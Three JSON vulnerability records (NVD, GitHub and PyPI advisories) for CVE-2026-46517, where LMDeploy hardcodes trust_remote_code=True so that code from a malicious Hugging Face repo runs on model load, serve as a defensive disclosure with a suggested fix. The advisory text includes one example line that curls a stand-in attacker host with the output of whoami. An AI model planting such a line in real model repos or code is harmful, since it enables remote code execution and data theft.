{
  "affected": [
    {
      "affectedData": [
        {
          "product": "lmdeploy",
          "vendor": "InternLM",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 0.12.3"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "LMDeploy is a toolkit for compressing, deploying, and serving large language models. In versions 0.12.3 and prior, hardcoded \"trust_remote_code=True\" enables HF supply-chain RCE without user opt-in. Version 0.13.0 patches the issue."
    },
    {
      "lang": "es",
      "value": "LMDeploy es un conjunto de herramientas para comprimir, desplegar y servir modelos de lenguaje grandes. En las versiones 0.12.3 y anteriores, el valor \u0027trust_remote_code=True\u0027 codificado de forma r\u00edgida permite RCE en la cadena de suministro de HF sin que el usuario lo autorice expl\u00edcitamente. En el momento de la publicaci\u00f3n, no hay parches disponibles p\u00fablicamente."
    }
  ],
  "id": "CVE-2026-46517",
  "lastModified": "2026-08-31T15:17:17.260",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 7.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-46517",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-11T03:55:31.160135Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-06-10T00:16:53.827",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/InternLM/lmdeploy/blob/v0.13.0/lmdeploy/version.py"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/InternLM/lmdeploy/commit/81be52961aa324fd5cd3cacebffba1ba051bc107"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/InternLM/lmdeploy/releases/tag/v0.13.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-9xq9-36w5-q796"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/github/advisory-database/pull/4511"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/lmdeploy/PYSEC-2026-2608.yaml"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        },
        {
          "lang": "en",
          "value": "CWE-915"
        },
        {
          "lang": "en",
          "value": "CWE-1188"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.12.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "lmdeploy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46517"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-915",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-21T19:33:32Z",
    "nvd_published_at": "2026-06-10T00:16:53Z",
    "severity": "HIGH"
  },
  "details": "\u003e ## \ud83d\udccb Reframing (2026-05-02): implicit unsafe remote-code path, not \"supply-chain\"\n\u003e\n\u003e The accurate description of this vulnerability is:\n\u003e **\"`get_model_arch` and related helpers hardcode `trust_remote_code=True`\n\u003e with no opt-out, creating an implicit unsafe remote-code load path\n\u003e on every model fetch.\"**\n\u003e\n\u003e What this report does NOT claim:\n\u003e * It is NOT a network-attack RCE \u2014 the user supplies the model\n\u003e   reference; LMDeploy honors it.\n\u003e * It is NOT a \"supply chain\" CVE in the classical sense (where a\n\u003e   benign upstream is compromised) \u2014 the user explicitly types the\n\u003e   repo name.\n\u003e\n\u003e What this report DOES claim:\n\u003e * Other inference frameworks (vLLM, TGI, Hugging Face transformers\n\u003e   itself) all expose `--trust-remote-code` as **opt-in** so that\n\u003e   users who consciously load known-safe repos can opt in, while\n\u003e   users following a tutorial cannot accidentally execute attacker\n\u003e   Python by typing a wrong repo name.\n\u003e * LMDeploy\u0027s hardcoded True is an **implicit** trust-boundary\n\u003e   override that violates HF Transformers\u0027 default-secure stance\n\u003e   (`trust_remote_code=False` since transformers \u2265 4.30).\n\u003e * The fix is a one-line CLI flag (`--trust-remote-code`) defaulting\n\u003e   False, threaded through the three sites, matching the rest of\n\u003e   the ecosystem.\n\u003e\n\u003e Severity should be assessed as **hardening / safe-by-default**,\n\u003e not as full unauthenticated RCE. CVSS revised to **5.5 Medium**\n\u003e (`AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` \u00d7 user-must-load qualifier).\n\u003e\n\u003e Runtime evidence: see `12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt`.\n\n---\n\n# F13 \u2014 LMDeploy: hardcoded `trust_remote_code=True` enables HF supply-chain RCE without user opt-in\n\n**Reporter:** ibondarenko1 / sactransport2000@gmail.com\n**Coordinated-disclosure window:** 90 days from initial vendor email.\n\n## TL;DR\n\nLMDeploy unilaterally passes `trust_remote_code=True` to\n`transformers.AutoConfig.from_pretrained()` (and several other\n`from_pretrained` callers) **regardless of any user opt-in**. The\nflag is hardcoded `True` in source \u2014 there is no CLI flag, no\nenvironment variable, no parameter, and no warning that lets a\nuser refuse remote code execution from the model repository.\nThis is a **silent override of HuggingFace Transformers\u0027 own\ndefault-secure stance** (`trust_remote_code=False`) introduced\nin HF Transformers \u2265 4.30 specifically to prevent this class of\nsupply-chain RCE.\n\nThe user running `lmdeploy serve api_server \u003cattacker_repo\u003e`,\n`lmdeploy lite calibrate \u003cattacker_repo\u003e`, etc. has **no way to\nopt out**. The only escape hatch is for the user to never load\nany third-party HF repo with LMDeploy \u2014 which is incompatible\nwith LMDeploy\u0027s documented use case.\n\nHuggingFace\u0027s `trust_remote_code=False` default exists exactly to\nprevent silent RCE when loading a third-party repo. LMDeploy overrides\nthis default, restoring the unsafe behaviour transparently. A malicious\nHF repo with a `configuration_*.py` shim runs Python code as the\nLMDeploy user at the very first call to `get_model_arch(...)`.\n\nThis is a documented anti-pattern (see HF Hub docs:\n\"Trusting custom code is therefore tricky...\"). Multiple peer\nprojects fixed similar issues \u2014 e.g. Hugging Face Transformers\nitself made this opt-in by default, and `vllm` exposes the flag\nthrough `--trust-remote-code` rather than hardcoding it.\n\n## Affected version\n\n* Repository: `github.com/InternLM/lmdeploy`, branch `main`.\n* Branch SHA at audit time: `9df0eff7c38ae69b9d4b9f7ad1441e484d439f92`\n  (2026-05-02).\n* Pinned blob SHAs:\n  * `lmdeploy/archs.py` \u2192 `68fa03a407734be1e2ae04098d34e9acdbe98262`\n  * `lmdeploy/lite/apis/calibrate.py` \u2192\n    `0728304bdc3c03eee1d790bfbd5496df080a0ecd`\n  * `lmdeploy/lite/utils/load.py` \u2192\n    `7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120`\n  * `lmdeploy/pytorch/check_env/model.py` \u2192\n    `b1a2daaa426bf5fe25030f7913c703eed9f5b261`\n\nSnapshots of all four files are in `source_pinned/`.\n\n## Source-level evidence\n\n### Site 1 \u2014 architecture detection (every load goes through here)\n\n`lmdeploy/archs.py:147-157` \u2014 `get_model_arch`:\n```python\ndef get_model_arch(model_path: str):\n    \"\"\"Get a model\u0027s architecture and configuration.\"\"\"\n    try:\n        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)\n    except Exception as e:  # noqa\n        from transformers import PretrainedConfig\n        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)\n```\n\n**Both** the primary path and the fallback hardcode\n`trust_remote_code=True`. There is no parameter to override it. This\nfunction is called from every model-loading path in lmdeploy.\n\n### Site 2 \u2014 quantization CLI\n\n`lmdeploy/lite/apis/calibrate.py:248-251`:\n```python\ntokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)\n...\nmodel = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)\n```\n\n`lmdeploy lite calibrate \u003crepo\u003e` and downstream quant CLIs (gptq,\nawq) all flow through this. Hardcoded.\n\n### Site 3 \u2014 calibration helper\n\n`lmdeploy/lite/utils/load.py:55`:\n```python\ndef load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):\n    ...\n    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)\n```\n\nEven if the caller does not pass `trust_remote_code=True` in\n`**kwargs`, the helper internally hardcodes it on the config call\n(line 55), then loads the model on line 74. The config call alone is\nsufficient for RCE: HF Transformers downloads `configuration_*.py`\nfrom the repo and `import`s it whenever `trust_remote_code=True`.\n\n### Site 4 \u2014 pytorch engine check\n\n`lmdeploy/pytorch/check_env/model.py:10,99,234,242` \u2014\n`trust_remote_code: bool = True` is the default value for the engine\u0027s\nparameter. Unlike the three sites above, this is \"default true\" not\n\"hardcoded true\" \u2014 a determined caller can pass False \u2014 but every\nshipped CLI passes True or relies on the default.\n\n### What `trust_remote_code=True` actually enables\n\nWhen `AutoConfig.from_pretrained(repo, trust_remote_code=True)` is\ncalled and the repo\u0027s `config.json` contains an `auto_map` key\npointing to a custom `configuration_\u003cname\u003e.py`:\n\n1. HF Transformers downloads the `.py` file from the repo.\n2. HF imports the module via `importlib`, **executing the file\u0027s\n   top-level code** (any `print`, `os.system`, `subprocess.run`,\n   `urllib.request.urlopen`, etc. fires now).\n3. HF then instantiates the named class.\n\nSo a malicious repo only needs a top-level\n`os.system(\"curl https://attacker/?$(whoami)\")` in\n`configuration_evil.py`. It runs as the lmdeploy process user.\n\n## Threat model\n\n**Attack surface.** Any user who runs an lmdeploy CLI command against\na HuggingFace repo identifier they did not personally vet. This\nincludes:\n\n* Casual users following a tutorial that says\n  `lmdeploy serve api_server \u003csome_repo\u003e`.\n* CI pipelines that automatically pull a model from HF Hub by\n  configuration (e.g. updates to a non-Pinned version tag).\n* Researchers comparing models from many authors. Even running\n  `lmdeploy lite calibrate` for benchmarking is enough.\n\nThe user is **not warned** that arbitrary Python from the repo will\nexecute, and there is **no flag** to disable it. The CVE class is\nCWE-94 (Improper Control of Generation of Code, supply-chain\nflavour) and CWE-915 (Improperly Controlled Modification of\nDynamically-Determined Object Attributes).\n\n## Comparison to peer projects\n\n| Project | trust_remote_code default | User control |\n|---|---|---|\n| HuggingFace Transformers | False | `trust_remote_code` keyword arg |\n| vLLM | False | `--trust-remote-code` flag |\n| **LMDeploy** | **True (hardcoded)** | **None** |\n| TGI | False | `--trust-remote-code` flag |\n\nLMDeploy is the outlier. The rationale is presumably \"internal\nmodels like InternLM need custom configuration_*.py\", but the fix is\nto accept a CLI flag like `--trust-remote-code` and default-False as\nthe rest of the ecosystem does.\n\n## Severity\n\nCVSS v3.1 `AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` \u2014 **Base 7.8 High**.\n\n* AV:L \u2014 local (the user runs lmdeploy on their own host).\n* AC:L \u2014 single command.\n* PR:N \u2014 no privilege.\n* UI:R \u2014 user must invoke lmdeploy with the malicious repo. Minor\n  qualifier: many users will type `lmdeploy serve api_server \u003crepo\u003e`\n  trusting that lmdeploy implements basic safety.\n* C:H, I:H, A:H \u2014 full RCE on the user\u0027s machine; can read\n  ~/.aws/credentials, exfiltrate data, persist, etc.\n\nIf the lmdeploy host is a multi-tenant inference platform (e.g. a\ncloud provider running lmdeploy as a service for multiple paying\ncustomers), the attack changes shape: any tenant who can pin a\ncustom model name in their tenancy gets RCE on the inference host\nand **scope changes to S:C** with cross-tenant impact. CVSS rises\nto 9.6+. We are **not** claiming this dimension here without\nruntime evidence; just flagging it for triage.\n\n## Suggested fix\n\nReplace every hardcoded `trust_remote_code=True` with an explicit\nopt-in via CLI flag:\n\n```python\n# lmdeploy/archs.py \u2014 get_model_arch\ndef get_model_arch(model_path: str, trust_remote_code: bool = False):\n    try:\n        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)\n    except Exception as e:  # noqa\n        from transformers import PretrainedConfig\n        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)\n```\n\nWire `trust_remote_code` through every call site. Add `--trust-remote-code`\nto lmdeploy\u0027s CLI parser and forward it from server / calibrate /\ngptq / etc. **Default False**.\n\nA patch fragment is in `patch.diff`.\n\n## Disclosure plan\n\n1. Submit privately via lmdeploy security contact (typically email or\n   GitHub Security Advisory at\n   `https://github.com/InternLM/lmdeploy/security/advisories/new`).\n2. Reference Hugging Face Transformers\u0027 historical opt-out \u2192 opt-in\n   change as precedent for the fix shape.\n3. 90-day coordinated-disclosure window starting from acknowledgement.\n4. Request CVE through GHSA flow once the patch lands.\n\n## Why static-only is sufficient here\n\nUnlike F11 (RCE chain through `_load_pt_file`) which required a\nruntime PoC to demonstrate the pickle gadget execution, this finding\nis a **single trust-flag flip** \u2014 the behaviour of\n`AutoConfig.from_pretrained(repo, trust_remote_code=True)` on a HF\nrepo with a malicious `configuration_*.py` is documented behaviour of\nHF Transformers itself (their own docs warn against it). Reproducing\nit adds no new evidence; the static flag-state is the bug.\n\nIf the vendor requests a runtime PoC during triage we will provide\none (a malicious HF repo with `configuration_evil.py` + a one-liner\n`lmdeploy lite calibrate \u003crepo\u003e` invocation), but holding it back from\nthe initial advisory avoids publishing a working exploit during the\ndisclosure window.",
  "id": "GHSA-9xq9-36w5-q796",
  "modified": "2026-08-31T14:33:46Z",
  "published": "2026-05-21T19:33:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-9xq9-36w5-q796"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46517"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/advisory-database/pull/4511"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/commit/81be52961aa324fd5cd3cacebffba1ba051bc107"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/InternLM/lmdeploy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/blob/v0.13.0/lmdeploy/version.py"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/releases/tag/v0.13.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/lmdeploy/PYSEC-2026-2608.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lmdeploy",
        "purl": "pkg:pypi/lmdeploy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.12.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.10",
        "0.0.11",
        "0.0.12",
        "0.0.13",
        "0.0.14",
        "0.1.0",
        "0.10.0",
        "0.10.1",
        "0.10.2",
        "0.11.0",
        "0.11.1",
        "0.12.0",
        "0.12.1",
        "0.12.2",
        "0.12.3",
        "0.2.0",
        "0.2.1",
        "0.2.2",
        "0.2.3",
        "0.2.4",
        "0.2.5",
        "0.2.6",
        "0.3.0",
        "0.4.0",
        "0.4.1",
        "0.4.2",
        "0.5.0",
        "0.5.1",
        "0.5.2",
        "0.5.2.post1",
        "0.5.3",
        "0.6.0",
        "0.6.0a0",
        "0.6.1",
        "0.6.2",
        "0.6.2.post1",
        "0.6.3",
        "0.6.4",
        "0.6.5",
        "0.7.0",
        "0.7.0.post1",
        "0.7.0.post2",
        "0.7.0.post3",
        "0.7.1",
        "0.7.2",
        "0.7.2.post1",
        "0.7.3",
        "0.8.0",
        "0.9.0",
        "0.9.1",
        "0.9.2",
        "0.9.2.post1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46517",
    "GHSA-9xq9-36w5-q796"
  ],
  "details": "\u003e ## \ud83d\udccb Reframing (2026-05-02): implicit unsafe remote-code path, not \"supply-chain\"\n\u003e\n\u003e The accurate description of this vulnerability is:\n\u003e **\"`get_model_arch` and related helpers hardcode `trust_remote_code=True`\n\u003e with no opt-out, creating an implicit unsafe remote-code load path\n\u003e on every model fetch.\"**\n\u003e\n\u003e What this report does NOT claim:\n\u003e * It is NOT a network-attack RCE \u2014 the user supplies the model\n\u003e   reference; LMDeploy honors it.\n\u003e * It is NOT a \"supply chain\" CVE in the classical sense (where a\n\u003e   benign upstream is compromised) \u2014 the user explicitly types the\n\u003e   repo name.\n\u003e\n\u003e What this report DOES claim:\n\u003e * Other inference frameworks (vLLM, TGI, Hugging Face transformers\n\u003e   itself) all expose `--trust-remote-code` as **opt-in** so that\n\u003e   users who consciously load known-safe repos can opt in, while\n\u003e   users following a tutorial cannot accidentally execute attacker\n\u003e   Python by typing a wrong repo name.\n\u003e * LMDeploy\u0027s hardcoded True is an **implicit** trust-boundary\n\u003e   override that violates HF Transformers\u0027 default-secure stance\n\u003e   (`trust_remote_code=False` since transformers \u2265 4.30).\n\u003e * The fix is a one-line CLI flag (`--trust-remote-code`) defaulting\n\u003e   False, threaded through the three sites, matching the rest of\n\u003e   the ecosystem.\n\u003e\n\u003e Severity should be assessed as **hardening / safe-by-default**,\n\u003e not as full unauthenticated RCE. CVSS revised to **5.5 Medium**\n\u003e (`AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` \u00d7 user-must-load qualifier).\n\u003e\n\u003e Runtime evidence: see `12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt`.\n\n---\n\n# F13 \u2014 LMDeploy: hardcoded `trust_remote_code=True` enables HF supply-chain RCE without user opt-in\n\n**Reporter:** ibondarenko1 / sactransport2000@gmail.com\n**Coordinated-disclosure window:** 90 days from initial vendor email.\n\n## TL;DR\n\nLMDeploy unilaterally passes `trust_remote_code=True` to\n`transformers.AutoConfig.from_pretrained()` (and several other\n`from_pretrained` callers) **regardless of any user opt-in**. The\nflag is hardcoded `True` in source \u2014 there is no CLI flag, no\nenvironment variable, no parameter, and no warning that lets a\nuser refuse remote code execution from the model repository.\nThis is a **silent override of HuggingFace Transformers\u0027 own\ndefault-secure stance** (`trust_remote_code=False`) introduced\nin HF Transformers \u2265 4.30 specifically to prevent this class of\nsupply-chain RCE.\n\nThe user running `lmdeploy serve api_server \u003cattacker_repo\u003e`,\n`lmdeploy lite calibrate \u003cattacker_repo\u003e`, etc. has **no way to\nopt out**. The only escape hatch is for the user to never load\nany third-party HF repo with LMDeploy \u2014 which is incompatible\nwith LMDeploy\u0027s documented use case.\n\nHuggingFace\u0027s `trust_remote_code=False` default exists exactly to\nprevent silent RCE when loading a third-party repo. LMDeploy overrides\nthis default, restoring the unsafe behaviour transparently. A malicious\nHF repo with a `configuration_*.py` shim runs Python code as the\nLMDeploy user at the very first call to `get_model_arch(...)`.\n\nThis is a documented anti-pattern (see HF Hub docs:\n\"Trusting custom code is therefore tricky...\"). Multiple peer\nprojects fixed similar issues \u2014 e.g. Hugging Face Transformers\nitself made this opt-in by default, and `vllm` exposes the flag\nthrough `--trust-remote-code` rather than hardcoding it.\n\n## Affected version\n\n* Repository: `github.com/InternLM/lmdeploy`, branch `main`.\n* Branch SHA at audit time: `9df0eff7c38ae69b9d4b9f7ad1441e484d439f92`\n  (2026-05-02).\n* Pinned blob SHAs:\n  * `lmdeploy/archs.py` \u2192 `68fa03a407734be1e2ae04098d34e9acdbe98262`\n  * `lmdeploy/lite/apis/calibrate.py` \u2192\n    `0728304bdc3c03eee1d790bfbd5496df080a0ecd`\n  * `lmdeploy/lite/utils/load.py` \u2192\n    `7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120`\n  * `lmdeploy/pytorch/check_env/model.py` \u2192\n    `b1a2daaa426bf5fe25030f7913c703eed9f5b261`\n\nSnapshots of all four files are in `source_pinned/`.\n\n## Source-level evidence\n\n### Site 1 \u2014 architecture detection (every load goes through here)\n\n`lmdeploy/archs.py:147-157` \u2014 `get_model_arch`:\n```python\ndef get_model_arch(model_path: str):\n    \"\"\"Get a model\u0027s architecture and configuration.\"\"\"\n    try:\n        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)\n    except Exception as e:  # noqa\n        from transformers import PretrainedConfig\n        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)\n```\n\n**Both** the primary path and the fallback hardcode\n`trust_remote_code=True`. There is no parameter to override it. This\nfunction is called from every model-loading path in lmdeploy.\n\n### Site 2 \u2014 quantization CLI\n\n`lmdeploy/lite/apis/calibrate.py:248-251`:\n```python\ntokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)\n...\nmodel = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)\n```\n\n`lmdeploy lite calibrate \u003crepo\u003e` and downstream quant CLIs (gptq,\nawq) all flow through this. Hardcoded.\n\n### Site 3 \u2014 calibration helper\n\n`lmdeploy/lite/utils/load.py:55`:\n```python\ndef load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):\n    ...\n    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)\n```\n\nEven if the caller does not pass `trust_remote_code=True` in\n`**kwargs`, the helper internally hardcodes it on the config call\n(line 55), then loads the model on line 74. The config call alone is\nsufficient for RCE: HF Transformers downloads `configuration_*.py`\nfrom the repo and `import`s it whenever `trust_remote_code=True`.\n\n### Site 4 \u2014 pytorch engine check\n\n`lmdeploy/pytorch/check_env/model.py:10,99,234,242` \u2014\n`trust_remote_code: bool = True` is the default value for the engine\u0027s\nparameter. Unlike the three sites above, this is \"default true\" not\n\"hardcoded true\" \u2014 a determined caller can pass False \u2014 but every\nshipped CLI passes True or relies on the default.\n\n### What `trust_remote_code=True` actually enables\n\nWhen `AutoConfig.from_pretrained(repo, trust_remote_code=True)` is\ncalled and the repo\u0027s `config.json` contains an `auto_map` key\npointing to a custom `configuration_\u003cname\u003e.py`:\n\n1. HF Transformers downloads the `.py` file from the repo.\n2. HF imports the module via `importlib`, **executing the file\u0027s\n   top-level code** (any `print`, `os.system`, `subprocess.run`,\n   `urllib.request.urlopen`, etc. fires now).\n3. HF then instantiates the named class.\n\nSo a malicious repo only needs a top-level\n`os.system(\"curl https://attacker/?$(whoami)\")` in\n`configuration_evil.py`. It runs as the lmdeploy process user.\n\n## Threat model\n\n**Attack surface.** Any user who runs an lmdeploy CLI command against\na HuggingFace repo identifier they did not personally vet. This\nincludes:\n\n* Casual users following a tutorial that says\n  `lmdeploy serve api_server \u003csome_repo\u003e`.\n* CI pipelines that automatically pull a model from HF Hub by\n  configuration (e.g. updates to a non-Pinned version tag).\n* Researchers comparing models from many authors. Even running\n  `lmdeploy lite calibrate` for benchmarking is enough.\n\nThe user is **not warned** that arbitrary Python from the repo will\nexecute, and there is **no flag** to disable it. The CVE class is\nCWE-94 (Improper Control of Generation of Code, supply-chain\nflavour) and CWE-915 (Improperly Controlled Modification of\nDynamically-Determined Object Attributes).\n\n## Comparison to peer projects\n\n| Project | trust_remote_code default | User control |\n|---|---|---|\n| HuggingFace Transformers | False | `trust_remote_code` keyword arg |\n| vLLM | False | `--trust-remote-code` flag |\n| **LMDeploy** | **True (hardcoded)** | **None** |\n| TGI | False | `--trust-remote-code` flag |\n\nLMDeploy is the outlier. The rationale is presumably \"internal\nmodels like InternLM need custom configuration_*.py\", but the fix is\nto accept a CLI flag like `--trust-remote-code` and default-False as\nthe rest of the ecosystem does.\n\n## Suggested fix\n\nReplace every hardcoded `trust_remote_code=True` with an explicit\nopt-in via CLI flag:\n\n```python\n# lmdeploy/archs.py \u2014 get_model_arch\ndef get_model_arch(model_path: str, trust_remote_code: bool = False):\n    try:\n        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)\n    except Exception as e:  # noqa\n        from transformers import PretrainedConfig\n        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)\n```\n\nWire `trust_remote_code` through every call site. Add `--trust-remote-code`\nto lmdeploy\u0027s CLI parser and forward it from server / calibrate /\ngptq / etc. **Default False**.\n\nA patch fragment is in `patch.diff`.\n\n## Disclosure plan\n\n1. Submit privately via lmdeploy security contact (typically email or\n   GitHub Security Advisory at\n   `https://github.com/InternLM/lmdeploy/security/advisories/new`).\n2. Reference Hugging Face Transformers\u0027 historical opt-out \u2192 opt-in\n   change as precedent for the fix shape.\n3. 90-day coordinated-disclosure window starting from acknowledgement.\n4. Request CVE through GHSA flow once the patch lands.\n\n## Why static-only is sufficient here\n\nUnlike F11 (RCE chain through `_load_pt_file`) which required a\nruntime PoC to demonstrate the pickle gadget execution, this finding\nis a **single trust-flag flip** \u2014 the behaviour of\n`AutoConfig.from_pretrained(repo, trust_remote_code=True)` on a HF\nrepo with a malicious `configuration_*.py` is documented behaviour of\nHF Transformers itself (their own docs warn against it). Reproducing\nit adds no new evidence; the static flag-state is the bug.\n\nIf the vendor requests a runtime PoC during triage we will provide\none (a malicious HF repo with `configuration_evil.py` + a one-liner\n`lmdeploy lite calibrate \u003crepo\u003e` invocation), but holding it back from\nthe initial advisory avoids publishing a working exploit during the\ndisclosure window.",
  "id": "PYSEC-2026-2608",
  "modified": "2026-07-13T16:04:42.404413Z",
  "published": "2026-07-13T15:19:10.602126Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-9xq9-36w5-q796"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46517"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/InternLM/lmdeploy"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/lmdeploy"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-9xq9-36w5-q796"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out"
}